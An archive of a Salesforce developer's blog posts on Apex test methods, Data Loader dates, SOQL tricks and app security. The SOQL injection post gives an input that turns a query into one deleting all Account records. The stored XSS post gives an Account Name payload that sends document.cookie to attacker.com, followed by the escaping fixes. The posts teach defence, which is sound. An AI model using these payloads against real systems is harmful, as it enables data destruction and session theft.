Powered By Blogger

Wednesday, 5 June 2013

Test Methods: What, Why and How?



I was thinking to write something from a long time and I came up with this today(Finally I am active again on blogger :)).
I am big fan of Salesforce developer community and I daily visit it. Not because of I am expert and can answer all the queries there, but It helps me a lot to increase my knowledge. I learn something new daily from there and implement it in real life(how easy it is).

After seeing various post on community, I realized that some people are not sure about the test methods. Each day I do see 2-3 posts like, how to increase coverage, help in writing test methods, assertion failed and many more. and this encouraged me to write this post.

Let me start now without wasting your time :P.

  1. What is test method?
    [Answer]: I hope you all know, but still I would like to share :). Test method is a way to test your functionality from developer perspective. Each time when you deploy your changes to new org, you really can't test everything from UI as it will be time consuming, so test methods are the way to test if everything is working fine without user interface.
  2. Why we write test method?
    [Answer]: Suppose you implemented a functionality today and it was successfully deployed. You have test method with all the use cases covered . A month later, new enhancement comes and you implement it. Now you can run your test method to see the impact on existing functionality. 
  3. How to write test methods?
    [Answer]: I hope you all already know answer of this, but today I would like to explain this very simple way with a simple program.
Suppose I have a method, which takes marks of Science and Maths subject and returns total.

My method would be something like this:



public class MyController {
 //This method takes science and Maths marks and return total of these
 public Integer sum(Integer m1, Integer m2) {
  
  //return sum of these 2
  return m1 + m2;
 }
}

Now you can see here is, if I pass 50 and 60 in method, results would be 50+60=110.
That is what QA people will be testing from UI.

but we are developer and do everything with code :). 

so as I said, if I pass 50 and 60 in sum method, it should return 50+60=110.

Let's start writing test method

@isTest : This anotation defines that your class is a test class


@isTest
private class Test_MyController {

 //test sum method
 static testMethod void testSUM() {
  //Instantiate controller class
  MyController controller = new MyController();

  //Call Sum method
  Integer sum = controller.sum(50, 60);

  //Expected results is 110 and actual should also be 110
  //Check result
  System.assertEquals(110, sum);
 }
}



and that's all :). Isn't it cool? 

Now anytime you make changes in your controller's SUM method, you can always run the test method to check if there is any impact on existing functionality. Also make sure to keep you test method updated as per the new changes :).

HAPPY CODING :).








Tuesday, 21 May 2013

Quick Finder for Salesforce


And here the dude is back in town. Here is my new post to make all the developer’s life so easier.

Let me ask you a question here :).
When you are working in browser and if you need to find out any class/page/trigger/component/static resource, then how will you do that?

Let me tell you, how you will do it (Even I am also a advanced developerJ):

  1. First Click -> Your Name
  2. Second Click ->  Setup
  3. Third Click -> Develop
  4. Forth Click -> Apex Classes

You are not finished yet.
Now use alphabetical sorting, view more, next page etc. links to find out the exact class. This becomes more irritating when org is very big. So on an average, you need to do at-least 6 clicks to find out a component.

It is really killing time when working on browser directly. So I started working on an application which can do all this in SINGLE CLICK:-O.
Yes, you read this correctly. You can do all this in a single click. App name is Quick Finder for Salesforce.
This application includes a home page component, which you just need to place on your sidebar.


and you are done. Now doesn’t matter on which page you are, if you can see sidebar, you can go to any component at any time.



Just click on the searched result and you will be navigated to appropriate component.
Isn’t it awesome? This app currently supports following component types:
1.       Apex Class
2.       Apex Page
3.       Apex Trigger
4.       Apex Component
5.       Static Resource
Please install this from AppExchange.  Here is the Installation link. Don’t forget to review this after installation.
https://appexchange.salesforce.com/listingDetail?listingId=a0N3000000B3a8hEAB

Wednesday, 31 August 2011

Date format while uploading data in salesforce

I am back to text my knowledge to share with world.
These days I was much involved in data loading part and here I was doing a minor mistake, but each time this minor mistake forced me to re-import .

In Apex data loader setting we have a check box  "Use European date format(dd/mm/yyyy)", true value for this checkbox allowed you to insert the date in dd/mm/yyyy format.

Now may be you are thinking that what is new here and what is the need to write a blog on this as this looks very common.

Now the picture starts from here :
As you have marked the checkbox as true and you are planning to insert the date in the same format, but by mistake date is still in MM/DD/YYYY format in your csv file.

What will happen now? any guess?
Will data loader insert these records or it's going to throw an error.
and if the record inserted, will date filed be populated ?

No more questions o/w people will leave this topic :P.

So here is the answer :
Data loader will not throw any error, it will insert the date in date field, but date field value will be distorted.

So here is the example:
Suppose I have this setting checked in my Apex Data Loader.
My csv file has a date field with value: 01/23/2011 (MM/DD/YYYY)

Now I started data load operation and date will be inserted as 01/11/2012.

Explanation: As data loader is expecting the date in dd/mm/yyyy format while we provided in 01/23/2011 (MM/DD/YYYY) and  23 cannot be a month value, so 23 considered as 1 year and 11 months.
So the result will be 01/11/2012.

Now here you can see data loader is not going to block any record because of this format so you will have to be very careful with this. It's your responsibility to check the data loader setting and date format in csv file.

Please correct me if anything I am making wrong here. comments are welcome.















Saturday, 7 May 2011

Salesforce: Play Attachments on the same page

I came back again with a very interesting thing this time.
These day I worked a lot with the attachments and realized that if we have any audio/video attachments in org then to see them first we need to download it on local machine and only then we can play with it.

I wanted to build a script which can  play attachment in the salesforce itself without asking for download.

Now the question is how this is useful :
I had a voice call with the customer and attached this call with the customer record. Now after some days I want to confirm a point was discussed in the call. So what I need to do :

  • Go to the customer record.
  • Click on the attachment.
  • Download the attachment.
  • Save on local disk.
  • Play audio.
  • Delete file once audio done to escape from the unnecessary storage on machine.

So here you can see that, there will be 6 step to listen a audio file, while we just wanted to hear the discussion again. These step will be always be repeated whenever we want to listen this conversation.

So if there could be a utility which could play the files in org itself without asking for downloading, that would be better. That's whay I started work on this idea and now here I am.
I have created a visualforce page and embedded this with some JS files, which allow to play the audio files on the same screen. This shows a player only with the audio file in the same row. Check it here:
http://enable-portal-developer-edition.na8.force.com/apex/PlayMP3?id=00QC000001Oqr4J


This page can be added as inline Visualforce page with any object which supports attachments.Like :





I have created a Un-managed package for this. So you can modify this as per your requirement.
Here is the URL:
https://login.salesforce.com/?startURL=%2Fpackaging%2FinstallPackage.apexp%3Fp0%3D04tC0000000YZvS

Please comment if any modification can be done to make it better.

Regards,
Bhawani

Friday, 15 April 2011

Tricks : Comparing two fields in a SOQL query



Sorry for being Inactive from a long :).
Actually these days I am looking for that what is not possible in salesforce and what can be the work around for that.

So be ready I am going to post some interesting  things in coming days :).

Are you ready to get the first one, so let's start

I have an object named "Filed Comparision" with fields "Start Date" and "End Date".
Now picture starts from here :
My requirement is to get all the records from the "Field Comparison" having End Date greater then Start Date.

So my query should be something like :

List<Field_Comparison__c> listResults = [Select Name from Field_Comparison__c where End_date__c > Start_Date__c];

but unfortunately, due to some salesforce restriction we can not do field comparison in where clause.This throws an exception "Compile Error: line 1, column 98: unexpected token: 'Start_Date__c'".

Then what should be done? do we need to fetch all the records and do the coding stuffs for getting the results?
Absolutely not.

We can create a formula field with criteria :
IF(End_Date__c > Start_Date__c , 'true', 'false') 

Guess, Formula field name is "Is Active". After introducing this field, records will be looks like :





I hope , now you got the idea what I am going to do to get the valid records only :D.

So, to get all the valid records SOQL query can be :

 List<Field_Comparison__c> listResults = [Select Name from Field_Comparison__c where Is_Active__c = 'true'];

Ohh..........It's completed. forgive me for getting you bored :P.



Please comments for making it for meaningful and more helpful.






Monday, 14 March 2011

Salesforce applications with security: SOQL Injection

Hi,

I am again here to share something with you that may be you know, but still I would like to rate myself :).
So please be ready for my one more boring(don't think so) topic "Salesforce applications with security: SOQL Injection".

This time SOQL injection. So SOQL is a type of vaccine for human body, injects when you really feels weak(Sorry :), No more joke).

 It's  a code injection technique that exploits a Security vulnerability.
Let me be more specific, Suppose you have a search form and instead of typing a valid search parameter, User types something invalid text  and that can make your SOQL query invalid and expose the unexpected result.
This situation occurs when user input is not filtered for escape characters.
 let's have a pictorial look :



It's a SQL example , but describe the SOQL injection as well in a good manner.
So here you can see that. In the User id field once user puts a invalid parameter and goes to the controller and form a query that  results in a invalid login.

The worst scenario could be if resultant data from a query supposed to be deleted.
 let's have one more quick example for this :

I have a case where I want to delete the Account based on name entered in the input name field on page.
Implementation can be like this :

List<Account> listAccount = Database.query('Select id from Account where Name = \'' + nameField + '\' ');

delete listAccount;

It works great with a valid value.
 Now it can be worst if value of nameField is provided like :

nameField = \' OR Id != null OR Type != \'


So once the action will be performed, this will be bind-up with the query and resultant query will be like this :
 

List<Account> listAccount = Database.query('Select id from Account where Name = \'\'\' OR ID != null OR Type != \'\' ');

delete  listAccount;

So hopefully , you can see the monster  here. It will delete the entire database for account records.

Salesforce provides escape functions to get rid from SOQL injection.
Solution can be one of the followings:
  1. Try to use STATIC queries as much as possible. STATIC query has inbuilt escaping.
  2. If dynamic query is needed , then all the search parameters should use escapeSingleQuotes() function.like
    List<Account> listAccount = Database.query('Select id from Account where Name = \'' + String.escapeSingleQuotes(nameField) + '\' ');
String.escapeSingleQuotes method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands. 

I hope, this post helps you to get a basic understanding of SOQL injection.

Now I am going to finish this, as If I didn't you guys will gone sleep.
So topic ends, party time ....................



Will be back very soon with something new :).


 




Tuesday, 1 March 2011

Salesforce applications with security : Stored XSS

Continuing to my previous post , this time I would to share the knowledge on Stored XSS part.
So Stored XSS is cross site scripting where a attacker can inject his code on to the server pages permanently and these scripts run whenever some action made on the page.

In other words :
"Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information."

Let's have an example:
<apex:page>

<script>
function crossXSS()
{
var xssExample = '{!Account.Name}' ;
}
</script>
<apex:form>
<apex:commandLink value="Click me" onClick="crossXSS();" />
</apex:form>
</apex:page>

Now suppose
Account Name is :  testName';1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo=';

So this account name will always be on the page in script block and whenever the commandLink will be clicked "crossXSS" will be called and will be in the following manner:
var xssExample = 'testName';1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo=';

So again you can see here all the cookies will be sent to the attackers.com site.

What I suggested in previous blog , repeating all those things again :).

To prevent from this , salesforce provides some encoding function for the those are available on Visualforce page like :etc.
JSENCODE, HTMLENCODE, JSINHTNLENCODE, URLENCODE etc.

So the code explained above can be  updated as :
var xssExample = '{!JSENCODE(Account.Name})' ;

So the value fetching from the request parameter will be encoded now.
JSENCODE : To encode the properties in javascript.
HTMLENCODE: To encode the properties in javascript.
JSINHTNLENCODE: If calling a javascript method from HTML component and passing the properties.
URLENCODE:  If building a URL on page.

Please feel free to ask the questions/doubts. Suggestions are appreciated.